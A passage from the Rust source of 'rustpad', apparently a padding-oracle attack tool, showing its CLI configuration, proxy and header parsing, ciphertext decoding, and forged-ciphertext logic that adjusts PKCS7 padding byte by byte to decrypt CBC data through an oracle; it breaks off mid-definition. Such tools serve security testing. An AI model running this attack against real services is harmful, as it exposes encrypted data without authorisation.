global_options: GlobalOptions, 298 | } 299 | 300 | #[derive(Args, Getters, Debug)] 301 | pub(super) struct SetupCli { 302 | #[getset(get = "pub(super)")] 303 | shell: Shell, 304 | } 305 | 306 | impl Deref for WebCli { 307 | type Target = GlobalOptions; 308 | 309 | fn deref(&self) -> &Self::Target { 310 | &self.global_options 311 | } 312 | } 313 | 314 | impl Deref for ScriptCli { 315 | type Target = GlobalOptions; 316 | 317 | fn deref(&self) -> &Self::Target { 318 | &self.global_options 319 | } 320 | } 321 | -------------------------------------------------------------------------------- /src/config/encoding_option.rs: -------------------------------------------------------------------------------- 1 | use std::{fmt::Display, str::FromStr}; 2 | 3 | use anyhow::{anyhow, Result}; 4 | use itertools::Itertools; 5 | 6 | #[derive(Debug, Clone)] 7 | pub(crate) enum EncodingOption { 8 | Auto, 9 | Hex, 10 | Base64, 11 | Base64Url, 12 | } 13 | 14 | impl EncodingOption { 15 | fn variants() -> &'static [Self] { 16 | &[Self::Auto, Self::Hex, Self::Base64, Self::Base64Url] 17 | } 18 | } 19 | 20 | impl Display for EncodingOption { 21 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 22 | match self { 23 | EncodingOption::Auto => write!(f, "auto"), 24 | EncodingOption::Hex => write!(f, "hex"), 25 | EncodingOption::Base64 => write!(f, "base64"), 26 | EncodingOption::Base64Url => write!(f, "base64url"), 27 | } 28 | } 29 | } 30 | 31 | impl FromStr for EncodingOption { 32 | type Err = anyhow::Error; 33 | 34 | fn from_str(input: &str) -> Result { 35 | let input = input.to_lowercase(); 36 | 37 | if input == "auto" { 38 | Ok(EncodingOption::Auto) 39 | } else if input == "hex" { 40 | Ok(EncodingOption::Hex) 41 | } else if input == "base64" { 42 | Ok(EncodingOption::Base64) 43 | } else if input == "base64url" { 44 | Ok(EncodingOption::Base64Url) 45 | } else { 46 | Err(anyhow!( 47 | "`{}` is not a supported encoding. Expected one of: [{}]", 48 | input, 49 | Self::variants() 50 | .iter() 51 | .map(|variant| variant.to_string()) 52 | .join(", ") 53 | )) 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/config/global_config.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use getset::Getters; 3 | use log::LevelFilter; 4 | use std::path::PathBuf; 5 | 6 | use crate::{ 7 | block::block_size::BlockSize, cli::GlobalOptions, cypher_text::CypherText, 8 | oracle::oracle_location::OracleLocation, plain_text::PlainText, 9 | }; 10 | 11 | use super::thread_count::ThreadCount; 12 | 13 | #[derive(Debug, Getters)] 14 | pub(crate) struct GlobalConfig { 15 | #[getset(get = "pub(crate)")] 16 | oracle_location: OracleLocation, 17 | #[getset(get = "pub(crate)")] 18 | cypher_text: CypherText, 19 | #[getset(get = "pub(crate)")] 20 | plain_text: Option, 21 | #[getset(get = "pub(crate)")] 22 | block_size: BlockSize, 23 | #[getset(get = "pub(crate)")] 24 | log_level: LevelFilter, 25 | #[getset(get = "pub(crate)")] 26 | thread_count: ThreadCount, 27 | #[getset(get = "pub(crate)")] 28 | output_file: Option<PathBuf>, 29 | #[getset(get = "pub(crate)")] 30 | no_cache: bool, 31 | } 32 | 33 | impl TryFrom<&GlobalOptions> for GlobalConfig { 34 | type Error = anyhow::Error; 35 | 36 | fn try_from(options: &GlobalOptions) -> Result<Self> { 37 | let log_level = match options.verbosity() { 38 | 0 => LevelFilter::Info, 39 | 1 => LevelFilter::Debug, 40 | _ => LevelFilter::Trace, 41 | }; 42 | 43 | Ok(Self { 44 | oracle_location: options.oracle_location().clone(), 45 | cypher_text: CypherText::parse( 46 | options.cypher_text(), 47 | options.block_size(), 48 | *options.no_iv(), 49 | options.encoding(), 50 | *options.no_url_encode(), 51 | )?, 52 | plain_text: options 53 | .plain_text() 54 | .as_ref() 55 | .map(|plain_text| PlainText::new(plain_text, options.block_size())), 56 | block_size: *options.block_size(), 57 | log_level, 58 | thread_count: options.thread_count().clone(), 59 | output_file: options.log_file().clone(), 60 | no_cache: *options.no_cache(), 61 | }) 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/config/header.rs: -------------------------------------------------------------------------------- 1 | use std::str::FromStr; 2 | 3 | use anyhow::{Context, Result}; 4 | use getset::Getters; 5 | 6 | #[derive(Debug, Clone, Getters)] 7 | pub(crate) struct Header { 8 | #[get = "pub(crate)"] 9 | name: String, 10 | #[get = "pub(crate)"] 11 | value: String, 12 | } 13 | 14 | impl FromStr for Header { 15 | type Err = anyhow::Error; 16 | 17 | fn from_str(header: &str) -> Result<Self> { 18 | header 19 | .split_once(':') 20 | .map(|(l, r)| Header { 21 | name: l.trim().to_owned(), 22 | value: r.trim().to_owned(), 23 | }) 24 | .context(format!( 25 | "`{}` is not a valid header. Expected format `<name>:<value>`", 26 | header 27 | )) 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/config/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod encoding_option; 2 | mod global_config; 3 | pub(super) mod header; 4 | pub(super) mod proxy_credentials; 5 | pub(super) mod request_timeout; 6 | pub(super) mod thread_count; 7 | pub(super) mod thread_delay; 8 | pub(super) mod user_agent; 9 | 10 | use std::ops::Deref; 11 | 12 | use anyhow::Result; 13 | use getset::Getters; 14 | use reqwest::Proxy; 15 | 16 | use self::{ 17 | global_config::GlobalConfig, header::Header, request_timeout::RequestTimeout, 18 | thread_delay::ThreadDelay, user_agent::UserAgent, 19 | }; 20 | 21 | use crate::cli::{Cli, ScriptCli, SubCommand, WebCli}; 22 | 23 | /// Application configuration based on processed CLI args. 24 | #[derive(Debug, Getters)] 25 | pub(super) struct Config { 26 | global_config: GlobalConfig, 27 | #[getset(get = "pub(super)")] 28 | sub_config: SubConfig, 29 | } 30 | 31 | #[derive(Debug)] 32 | pub(super) enum SubConfig { 33 | Web(WebConfig), 34 | Script(ScriptConfig), 35 | } 36 | 37 | #[derive(Debug, Clone, Getters)] 38 | pub(super) struct WebConfig { 39 | #[getset(get = "pub(super)")] 40 | post_data: Option<String>, 41 | #[getset(get = "pub(super)")] 42 | headers: Vec<Header>, 43 | #[getset(get = "pub(super)")] 44 | keyword: String, 45 | #[getset(get = "pub(super)")] 46 | user_agent: UserAgent, 47 | #[getset(get = "pub(super)")] 48 | proxy: Option<Proxy>, 49 | #[getset(get = "pub(super)")] 50 | request_timeout: RequestTimeout, 51 | #[getset(get = "pub(super)")] 52 | redirect: bool, 53 | #[getset(get = "pub(super)")] 54 | insecure: bool, 55 | #[getset(get = "pub(super)")] 56 | consider_body: bool, 57 | #[getset(get = "pub(super)")] 58 | thread_delay: ThreadDelay, 59 | } 60 | 61 | #[derive(Debug, Clone, Getters)] 62 | pub(super) struct ScriptConfig { 63 | #[getset(get = "pub(super)")] 64 | thread_delay: ThreadDelay, 65 | } 66 | 67 | impl TryFrom<Cli> for Config { 68 | type Error = anyhow::Error; 69 | 70 | fn try_from(cli: Cli) -> Result<Self> { 71 | match cli.sub_command { 72 | SubCommand::Web(web_cli) => Ok(Self { 73 | global_config: GlobalConfig::try_from(web_cli.global_options())?, 74 | sub_config: SubConfig::Web(WebConfig::try_from(*web_cli)?), 75 | }), 76 | SubCommand::Script(script_cli) => Ok(Self { 77 | global_config: GlobalConfig::try_from(script_cli.global_options())?, 78 | sub_config: SubConfig::Script(ScriptConfig::try_from(*script_cli)?), 79 | }), 80 | _ => unreachable!( 81 | "Attempted to convert sub-command {:?} into a config.", 82 | cli.sub_command 83 | ), 84 | } 85 | } 86 | } 87 | 88 | impl TryFrom<WebCli> for WebConfig { 89 | type Error = anyhow::Error; 90 | 91 | fn try_from(cli: WebCli) -> Result<Self> { 92 | Ok(Self { 93 | post_data: cli.post_data().clone(), 94 | headers: cli.header().clone(), 95 | keyword: cli.keyword().clone(), 96 | user_agent: cli.user_agent().clone(), 97 | proxy: cli 98 | .proxy_url() 99 | .as_ref() 100 | .map(|url| -> Result<Proxy> { 101 | let proxy = Proxy::all(url.clone())?; 102 | if let Some(proxy_creds) = cli.proxy_credentials() { 103 | Ok(proxy.basic_auth(proxy_creds.username(), proxy_creds.password())) 104 | } else { 105 | Ok(proxy) 106 | } 107 | }) 108 | .transpose()?, 109 | request_timeout: cli.request_timeout().clone(), 110 | redirect: *cli.redirect(), 111 | insecure: *cli.no_cert_validation(), 112 | consider_body: *cli.consider_body(), 113 | thread_delay: cli.thread_delay().clone(), 114 | }) 115 | } 116 | } 117 | 118 | impl TryFrom<ScriptCli> for ScriptConfig { 119 | type Error = anyhow::Error; 120 | 121 | fn try_from(cli: ScriptCli) -> Result<Self> { 122 | Ok(Self { 123 | thread_delay: cli.thread_delay().clone(), 124 | }) 125 | } 126 | } 127 | 128 | impl Deref for Config { 129 | type Target = GlobalConfig; 130 | 131 | fn deref(&self) -> &Self::Target { 132 | &self.global_config 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /src/config/proxy_credentials.rs: -------------------------------------------------------------------------------- 1 | use std::str::FromStr; 2 | 3 | use anyhow::{Context, Result}; 4 | use getset::Getters; 5 | 6 | #[derive(Debug, Getters)] 7 | pub(crate) struct ProxyCredentials { 8 | #[get = "pub(super)"] 9 | username: String, 10 | #[get = "pub(super)"] 11 | password: String, 12 | } 13 | 14 | impl FromStr for ProxyCredentials { 15 | type Err = anyhow::Error; 16 | 17 | fn from_str(proxy_credentials: &str) -> Result<Self> { 18 | let split_creds = proxy_credentials.split_once(':').context(format!( 19 | "`{}`. Expected format `<username>:<password>`", 20 | proxy_credentials 21 | ))?; 22 | Ok(Self { 23 | username: split_creds.0.to_owned(), 24 | password: split_creds.1.to_owned(), 25 | }) 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/config/request_timeout.rs: -------------------------------------------------------------------------------- 1 | use std::{fmt::Display, ops::Deref, str::FromStr, time::Duration}; 2 | 3 | use anyhow::{Context, Result}; 4 | 5 | #[derive(Debug, Clone)] 6 | pub(crate) struct RequestTimeout(Duration); 7 | 8 | impl Default for RequestTimeout { 9 | fn default() -> Self { 10 | RequestTimeout(Duration::from_secs(10)) 11 | } 12 | } 13 | 14 | impl FromStr for RequestTimeout { 15 | type Err = anyhow::Error; 16 | 17 | fn from_str(delay: &str) -> Result<Self> { 18 | delay 19 | .parse::<u64>() 20 | .context(format!("`{}`. Expected a positive integer", delay)) 21 | .map(|secs| Self(Duration::from_secs(secs))) 22 | } 23 | } 24 | 25 | impl Deref for RequestTimeout { 26 | type Target = Duration; 27 | 28 | fn deref(&self) -> &Self::Target { 29 | &self.0 30 | } 31 | } 32 | 33 | impl Display for RequestTimeout { 34 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 35 | write!(f, "{}", self.0.as_secs()) 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/config/thread_count.rs: -------------------------------------------------------------------------------- 1 | use std::{fmt::Display, ops::Deref, str::FromStr}; 2 | 3 | use anyhow::{anyhow, Context, Result}; 4 | 5 | #[derive(Debug, Clone)] 6 | pub(crate) struct ThreadCount(usize); 7 | 8 | impl Default for ThreadCount { 9 | fn default() -> Self { 10 | ThreadCount(64) 11 | } 12 | } 13 | 14 | impl FromStr for ThreadCount { 15 | type Err = anyhow::Error; 16 | 17 | fn from_str(thread_count: &str) -> Result<Self> { 18 | let thread_count = thread_count.parse::<usize>().context(format!( 19 | "`{}`. Expected a positive, non-zero integer", 20 | thread_count 21 | ))?; 22 | if thread_count > 0 { 23 | Ok(Self(thread_count)) 24 | } else { 25 | Err(anyhow!( 26 | "`{}`. Expected a positive, non-zero integer", 27 | thread_count 28 | )) 29 | } 30 | } 31 | } 32 | 33 | impl Deref for ThreadCount { 34 | type Target = usize; 35 | 36 | fn deref(&self) -> &Self::Target { 37 | &self.0 38 | } 39 | } 40 | 41 | impl Display for ThreadCount { 42 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 43 | write!(f, "{}", self.0) 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/config/thread_delay.rs: -------------------------------------------------------------------------------- 1 | use std::{fmt::Display, ops::Deref, str::FromStr, time::Duration}; 2 | 3 | use anyhow::{Context, Result}; 4 | 5 | #[derive(Debug, Clone)] 6 | pub(crate) struct ThreadDelay(Duration); 7 | 8 | impl Default for ThreadDelay { 9 | fn default() -> Self { 10 | ThreadDelay(Duration::from_millis(0)) 11 | } 12 | } 13 | 14 | impl FromStr for ThreadDelay { 15 | type Err = anyhow::Error; 16 | 17 | fn from_str(delay: &str) -> Result<Self> { 18 | delay 19 | .parse::<u64>() 20 | .context(format!("`{}`. Expected a positive integer", delay)) 21 | .map(|millis| Self(Duration::from_millis(millis))) 22 | } 23 | } 24 | 25 | impl Deref for ThreadDelay { 26 | type Target = Duration; 27 | 28 | fn deref(&self) -> &Self::Target { 29 | &self.0 30 | } 31 | } 32 | 33 | impl Display for ThreadDelay { 34 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 35 | write!(f, "{}", self.0.as_millis()) 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/config/user_agent.rs: -------------------------------------------------------------------------------- 1 | use std::{fmt::Display, ops::Deref, str::FromStr}; 2 | 3 | use anyhow::Result; 4 | 5 | const VERSION_TEMPLATE: &str = "<version>"; 6 | const VERSION: &str = env!("CARGO_PKG_VERSION"); 7 | 8 | #[derive(Debug, Clone)] 9 | pub(crate) struct UserAgent(String); 10 | 11 | // `<version>` with actual crate version 12 | fn replace_version(user_agent: &str) -> String { 13 | user_agent.replace(VERSION_TEMPLATE, VERSION) 14 | } 15 | 16 | impl Default for UserAgent { 17 | fn default() -> Self { 18 | UserAgent(replace_version("rustpad/<version>")) 19 | } 20 | } 21 | 22 | impl FromStr for UserAgent { 23 | type Err = anyhow::Error; 24 | 25 | fn from_str(user_agent: &str) -> Result<Self> { 26 | Ok(UserAgent(replace_version(user_agent))) 27 | } 28 | } 29 | 30 | impl Deref for UserAgent { 31 | type Target = String; 32 | 33 | fn deref(&self) -> &Self::Target { 34 | &self.0 35 | } 36 | } 37 | 38 | impl Display for UserAgent { 39 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 40 | write!(f, "{}", self.0) 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/cypher_text/encode.rs: -------------------------------------------------------------------------------- 1 | use std::str::FromStr; 2 | 3 | use anyhow::{anyhow, Result}; 4 | 5 | use crate::{block::Block, config::encoding_option::EncodingOption}; 6 | 7 | #[derive(Debug, Clone, Copy)] 8 | pub(crate) enum Encoding { 9 | Hex, 10 | Base64, 11 | Base64Url, 12 | } 13 | 14 | pub(crate) trait Encode<'a> { 15 | type Blocks: IntoIterator<Item = &'a Block>; 16 | 17 | fn encode(&'a self) -> String; 18 | 19 | fn blocks(&'a self) -> Self::Blocks; 20 | fn url_encoded(&self) -> &bool; 21 | fn used_encoding(&self) -> &Encoding; 22 | } 23 | 24 | pub(crate) trait AmountBlocksTrait { 25 | fn amount_blocks(&self) -> usize; 26 | } 27 | 28 | impl FromStr for Encoding { 29 | type Err = anyhow::Error; 30 | 31 | fn from_str(input: &str) -> Result<Self> { 32 | if input == "hex" { 33 | Ok(Encoding::Hex) 34 | } else if input == "base64" { 35 | Ok(Encoding::Base64) 36 | } else if input == "base64url" { 37 | Ok(Encoding::Base64Url) 38 | } else { 39 | Err(anyhow!("Unknown encoding: {}", input)) 40 | } 41 | } 42 | } 43 | 44 | impl TryFrom<&EncodingOption> for Encoding { 45 | type Error = anyhow::Error; 46 | 47 | fn try_from(encoding: &EncodingOption) -> Result<Self> { 48 | match encoding { 49 | EncodingOption::Hex => Ok(Self::Hex), 50 | EncodingOption::Base64 => Ok(Self::Base64), 51 | EncodingOption::Base64Url => Ok(Self::Base64Url), 52 | EncodingOption::Auto => Err(anyhow!( 53 | "`EncodingOption::Auto` cannot be converted into a specific `Encoding`" 54 | )), 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/cypher_text/forged_cypher_text/mod.rs: -------------------------------------------------------------------------------- 1 | pub(crate) mod solved; 2 | 3 | use getset::Getters; 4 | 5 | use crate::block::block_size::{BlockSize, BlockSizeTrait}; 6 | 7 | use self::solved::SolvedForgedCypherText; 8 | 9 | use super::{AmountBlocksTrait, Block, CypherText, Encode, Encoding}; 10 | 11 | pub(crate) enum ByteLockResult<'a> { 12 | BytesLeft(ForgedCypherText<'a>), 13 | Solved(SolvedForgedCypherText<'a>), 14 | } 15 | 16 | #[derive(Debug, Clone, Getters)] 17 | pub(crate) struct ForgedCypherText<'a> { 18 | original_blocks: &'a [Block], 19 | url_encoded: bool, 20 | used_encoding: Encoding, 21 | 22 | current_byte_idx: u8, 23 | #[getset(get = "pub(crate)")] 24 | forged_block_wip: Block, 25 | forged_block_solution: Block, 26 | } 27 | 28 | impl<'a> ForgedCypherText<'a> { 29 | pub(crate) fn from_cypher_text( 30 | cypher_text: &'a CypherText, 31 | block_to_decrypt_idx: usize, 32 | ) -> Self { 33 | if block_to_decrypt_idx > cypher_text.amount_blocks() - 1 { 34 | panic!( 35 | "Tried to create ForgedCypherText to decrypt block {}, but only {} blocks exist in the original cypher text", 36 | block_to_decrypt_idx + 1, 37 | cypher_text.amount_blocks() 38 | ); 39 | } 40 | 41 | let original_blocks = &cypher_text.blocks()[..block_to_decrypt_idx + 1]; 42 | 43 | let block_size = cypher_text.block_size(); 44 | let forged_cypher_text = Self { 45 | original_blocks, 46 | url_encoded: *cypher_text.url_encoded(), 47 | used_encoding: *cypher_text.used_encoding(), 48 | current_byte_idx: *block_size - 1, 49 | forged_block_wip: Block::new(&block_size), 50 | forged_block_solution: Block::new(&block_size), 51 | }; 52 | 53 | forged_cypher_text 54 | } 55 | 56 | pub(crate) fn from_slice( 57 | original_blocks: &'a [Block], 58 | block_size: BlockSize, 59 | url_encoded: bool, 60 | used_encoding: Encoding, 61 | ) -> Self { 62 | Self { 63 | original_blocks, 64 | url_encoded, 65 | used_encoding, 66 | current_byte_idx: *block_size - 1, 67 | forged_block_wip: Block::new(&block_size), 68 | forged_block_solution: Block::new(&block_size), 69 | } 70 | } 71 | 72 | pub(crate) fn set_current_byte(&mut self, value: u8) -> &mut Self { 73 | self.forged_block_wip 74 | .set_byte(self.current_byte_idx as usize, value); 75 | 76 | self 77 | } 78 | 79 | /// Indicate that the current byte's value was found. Advance and save the solution. 80 | pub(crate) fn lock_byte(mut self) -> ByteLockResult<'a> { 81 | let idx = self.current_byte_idx; 82 | 83 | // locking a byte means it's supposedly correct 84 | self.forged_block_solution[idx as usize] = self.forged_block_wip[idx as usize]; 85 | 86 | // we just solved the last (L<-R) byte so the whole block is solved 87 | if idx == 0 { 88 | ByteLockResult::Solved(SolvedForgedCypherText::from(self)) 89 | } else { 90 | self.current_byte_idx = idx - 1; 91 | ByteLockResult::BytesLeft(self) 92 | } 93 | } 94 | 95 | pub(crate) fn bytes_answered(&self) -> u8 { 96 | (*self.block_size() - 1) - self.current_byte_idx 97 | } 98 | 99 | pub(crate) fn as_cache_key(&self) -> (Block, Block) { 100 | // for decryption to work, at least 2 block must exist. CypherText should have already checked this 101 | ( 102 | self.blocks()[self.amount_blocks() - 2].clone(), 103 | self.blocks()[self.amount_blocks() - 1].clone(), 104 | ) 105 | } 106 | } 107 | 108 | impl<'a> Encode<'a> for ForgedCypherText<'a> { 109 | type Blocks = &'a [Block]; 110 | 111 | fn encode(&'a self) -> String { 112 | // exclude forge-able block and block to decrypt 113 | let prefix_blocks = &self.blocks()[..self.amount_blocks() - 2]; 114 | let to_decrypt_block = &self.blocks()[self.amount_blocks() - 1]; 115 | 116 | // PKCS5/7 padding's value is the same as its length. So the desired padding when testing for the last byte is 0x01. But when testing the 2nd last byte, the last byte must be 0x02. This means that when moving on to the next byte (right to left), all of the previous bytes' solutions must be adjusted. 117 | let forged_block_with_padding_adjusted = self 118 | .forged_block_wip 119 | .to_adjusted_for_padding(*self.block_size() - self.current_byte_idx); 120 | 121 | let raw_bytes: Vec<u8> = prefix_blocks 122 | .iter() 123 | .chain([&forged_block_with_padding_adjusted].into_iter()) 124 | .chain([to_decrypt_block].into_iter()) 125 | .flat_map(|block| &**block) 126 | // blocks are scattered through memory, gotta collect them 127 | .cloned() 128 | .collect(); 129 | 130 | let encoded_data = match self.used_encoding() { 131 | Encoding::Base64 => base64::encode_config(raw_bytes, base64::STANDARD), 132 | Encoding::Base64Url => base64::encode_config(raw_bytes, base64::URL_SAFE), 133 | Encoding::Hex => hex::encode(raw_bytes), 134 | }; 135 | 136 | if *self.url_encoded() { 137 | urlencoding::encode(&encoded_data).to_string() 138 | } else { 139 | encoded_data 140 | } 141 | } 142 | 143 | fn blocks(&'a self) -> Self::Blocks { 144 | self.original_blocks 145 | } 146 | 147 | fn url_encoded(&self) -> &bool { 148 | &self.url_encoded 149 | } 150 | 151 | fn used_encoding(&self) -> &Encoding { 152 | &self.used_encoding 153 | } 154 | } 155 | 156 | impl<'a> BlockSizeTrait for ForgedCypherText<'a> { 157 | fn block_size(&self) -> BlockSize { 158 | self.blocks()[0].block_size() 159 | } 160 | } 161 | 162 | impl<'a> AmountBlocksTrait for ForgedCypherText<'a> { 163 | fn amount_blocks(&self) -> usize { 164 | self.blocks().len() 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /src/cypher_text/forged_cypher_text/solved.rs: -------------------------------------------------------------------------------- 1 | use getset::Getters; 2 | 3 | use crate::{ 4 | block::Block, 5 | cypher_text::encode::{AmountBlocksTrait, Encoding}, 6 | }; 7 | 8 | use super::ForgedCypherText; 9 | 10 | #[derive(Getters, Clone, Debug)] 11 | pub(crate) struct SolvedForgedCypherText<'a> { 12 | #[getset(get = "pub(crate)")] 13 | original_blocks: &'a [Block], 14 | #[getset(get = "pub(crate)")] 15 | url_encoded: bool, 16 | #[getset(get = "pub(crate)")] 17 | used_encoding: Encoding, 18 | 19 | #[getset(get = "pub(crate)")] 20 | forged_block_solution: Block, 21 | } 22 | 23 | impl<'a> SolvedForgedCypherText<'a> { 24 | pub(crate) fn plain_text_solution(&self) -> String { 25 | let plain_text = 26 | &self.forged_block_solution.to_intermediate() ^ self.original_forged_block(); 27 | 28 | plain_text.to_string() 29 | } 30 | 31 | pub(crate) fn block_to_decrypt(&self) -> &Block { 32 | &self.original_blocks[self.amount_blocks() - 1] 33 | } 34 | 35 | fn original_forged_block(&self) -> &Block { 36 | // -1 for 0-idx, and another -1 so we get the original of the forged block 37 | &self.original_blocks[self.amount_blocks() - 2] 38 | } 39 | } 40 | 41 | impl<'a> From<ForgedCypherText<'a>> for SolvedForgedCypherText<'a> { 42 | fn from(forged_cypher_text: ForgedCypherText<'a>) -> Self { 43 | Self { 44 | original_blocks: forged_cypher_text.original_blocks, 45 | url_encoded: forged_cypher_text.url_encoded, 46 | used_encoding: forged_cypher_text.used_encoding, 47 | 48 | forged_block_solution: forged_cypher_text.forged_block_solution, 49 | } 50 | } 51 | } 52 | 53 | /// from cached Block 54 | impl<'a> From<(ForgedCypherText<'a>, Block)> for SolvedForgedCypherText<'a> { 55 | fn from((forged_cypher_text, forged_block_solution): (ForgedCypherText<'a>, Block)) -> Self { 56 | Self { 57 | original_blocks: forged_cypher_text.original_blocks, 58 | url_encoded: forged_cypher_text.url_encoded, 59 | used_encoding: forged_cypher_text.used_encoding, 60 | 61 | forged_block_solution, 62 | } 63 | } 64 | } 65 | 66 | impl<'a> AmountBlocksTrait for SolvedForgedCypherText<'a> { 67 | fn amount_blocks(&self) -> usize { 68 | self.original_blocks().len() 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /src/cypher_text/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod encode; 2 | pub(super) mod forged_cypher_text; 3 | 4 | use crate::{ 5 | block::{block_size::BlockSizeTrait, Block}, 6 | config::encoding_option::EncodingOption, 7 | }; 8 | use std::borrow::Cow; 9 | 10 | use anyhow::{anyhow, Context, Result}; 11 | 12 | use crate::block::block_size::BlockSize; 13 | 14 | use self::encode::{AmountBlocksTrait, Encode, Encoding}; 15 | 16 | #[derive(Debug, Clone)] 17 | pub(super) struct CypherText { 18 | blocks: Vec<Block>, 19 | url_encoded: bool, 20 | used_encoding: Encoding, 21 | } 22 | 23 | impl CypherText { 24 | pub(super) fn parse( 25 | input_data: &str, 26 | block_size: &BlockSize, 27 | no_iv: bool, 28 | encoding: &EncodingOption, 29 | no_url_encode: bool, 30 | ) -> Result<Self> { 31 | let url_decoded = if no_url_encode { 32 | Cow::Borrowed(input_data) 33 | } else { 34 | // detect url encoding automatically and decode if needed 35 | urlencoding::decode(input_data).unwrap_or(Cow::Borrowed(input_data)) 36 | }; 37 | 38 | let (decoded_data, used_encoding) = decode(&url_decoded, encoding)?; 39 | let blocks = split_into_blocks(&decoded_data[..], *block_size)?; 40 | let blocks = if no_iv { 41 | [Block::new(block_size)] 42 | .into_iter() 43 | .chain(blocks.into_iter()) 44 | .collect() 45 | } else { 46 | blocks 47 | }; 48 | 49 | if blocks.len() == 1 { 50 | return Err(anyhow!("Decryption impossible with only 1 block. Does this cypher text include an IV? If not, indicate that with `--no-iv`")); 51 | } 52 | 53 | Ok(Self { 54 | blocks, 55 | url_encoded: input_data != url_decoded, 56 | used_encoding, 57 | }) 58 | } 59 | 60 | pub(super) fn from_iter<'a>( 61 | blocks: impl IntoIterator<Item = &'a Block>, 62 | url_encoded: bool, 63 | used_encoding: Encoding, 64 | ) -> Self { 65 | Self { 66 | blocks: blocks.into_iter().cloned().collect(), 67 | url_encoded, 68 | used_encoding, 69 | } 70 | } 71 | } 72 | 73 | impl<'a> Encode<'a> for CypherText { 74 | type Blocks = &'a [Block]; 75 | 76 | fn encode(&'a self) -> String { 77 | let raw_bytes: Vec<u8> = self 78 | .blocks() 79 | .iter() 80 | .flat_map(|block| &**block) 81 | // blocks are scattered through memory, gotta collect them 82 | .cloned() 83 | .collect(); 84 | 85 | let encoded_data = match self.used_encoding() { 86 | Encoding::Hex => hex::encode(raw_bytes), 87 | Encoding::Base64 => base64::encode_config(raw_bytes, base64::STANDARD), 88 | Encoding::Base64Url => base64::encode_config(raw_bytes, base64::URL_SAFE), 89 | }; 90 | 91 | if *self.url_encoded() { 92 | urlencoding::encode(&encoded_data).to_string() 93 | } else { 94 | encoded_data 95 | } 96 | } 97 | 98 | fn blocks(&'a self) -> Self::Blocks { 99 | &self.blocks[..] 100 | } 101 | 102 | fn url_encoded(&self) -> &bool { 103 | &self.url_encoded 104 | } 105 | 106 | fn used_encoding(&self) -> &Encoding { 107 | &self.used_encoding 108 | } 109 | } 110 | 111 | impl BlockSizeTrait for CypherText { 112 | fn block_size(&self) -> BlockSize { 113 | self.blocks()[0].block_size() 114 | } 115 | } 116 | 117 | impl AmountBlocksTrait for CypherText { 118 | fn amount_blocks(&self) -> usize { 119 | self.blocks().len() 120 | } 121 | } 122 | 123 | fn decode(input_data: &str, encoding: &EncodingOption) -> Result<(Vec<u8>, Encoding)> { 124 | fn auto_decode(input_data: &str) -> Result<(Vec<u8>, Encoding)> { 125 | if let Ok(decoded_data) = hex::decode(input_data) { 126 | return Ok((decoded_data, Encoding::Hex)); 127 | } 128 | 129 | if let Ok(decoded_data) = base64::decode_config(input_data, base64::STANDARD) { 130 | return Ok((decoded_data, Encoding::Base64)); 131 | } 132 | 133 | if let Ok(decoded_data) = base64::decode_config(input_data, base64::URL_SAFE) { 134 | return Ok((decoded_data, Encoding::Base64Url)); 135 | } 136 | 137 | Err(anyhow!( 138 | "`{}` has an invalid or unsupported encoding", 139 | input_data 140 | )) 141 | } 142 | 143 | fn forced_decode(input_data: &str, encoding: Encoding) -> Result<(Vec<u8>, Encoding)> { 144 | let decoded_data = match encoding { 145 | Encoding::Hex => { 146 | hex::decode(input_data).context(format!("`{}` is not valid hex", input_data)) 147 | } 148 | Encoding::Base64 => base64::decode_config(input_data, base64::STANDARD) 149 | .context(format!("`{}` is not valid base64", input_data)), 150 | Encoding::Base64Url => base64::decode_config(input_data, base64::URL_SAFE) 151 | .context(format!("`{}` is not valid base64 (URL safe)", input_data)), 152 | } 153 | .context("Invalid encoding for cypher text specified")?; 154 | 155 | Ok((decoded_data, encoding)) 156 | } 157 | 158 | match encoding { 159 | EncodingOption::Auto => auto_decode(input_data), 160 | _ => { 161 | let encoding = Encoding::try_from(encoding)?; 162 | forced_decode(input_data, encoding) 163 | } 164 | } 165 | } 166 | 167 | fn split_into_blocks(decoded_data: &[u8], block_size: BlockSize) -> Result<Vec<Block>> { 168 | if decoded_data.len() % (*block_size as usize) != 0 { 169 | return Err(anyhow!( 170 | "Splitting cypher text into blocks of {} bytes failed. Double check the block size", 171 | *block_size 172 | )); 173 | } 174 | 175 | let blocks = decoded_data 176 | .chunks_exact(*block_size as usize) 177 | .map(|chunk| chunk.into()) 178 | .collect(); 179 | 180 | Ok(blocks) 181 | } 182 | -------------------------------------------------------------------------------- /src/divination/decryptor.rs: -------------------------------------------------------------------------------- 1 | use std::sync::{Arc, Mutex}; 2 | 3 | use anyhow::Result; 4 | use log::{debug, info}; 5 | use rayon::iter::{IndexedParallelIterator, IntoParallelRefIterator, ParallelIterator}; 6 | 7 | use crate::{ 8 | cache::Cache, 9 | calibrator::Calibrator, 10 | cypher_text::{ 11 | encode::AmountBlocksTrait, 12 | forged_cypher_text::{solved::SolvedForgedCypherText, ForgedCypherText}, 13 | CypherText, 14 | }, 15 | divination::solve_block, 16 | logging::LOG_TARGET, 17 | oracle::Oracle, 18 | tui::ui_event::{UiControlEvent, UiDecryptionEvent, UiEvent}, 19 | }; 20 | 21 | /// Manages the oracle attack (decryption) on a high level. 22 | pub(crate) struct Decryptor<'a, U> 23 | where 24 | U: FnMut(UiEvent) + Sync + Send + Clone, 25 | { 26 | 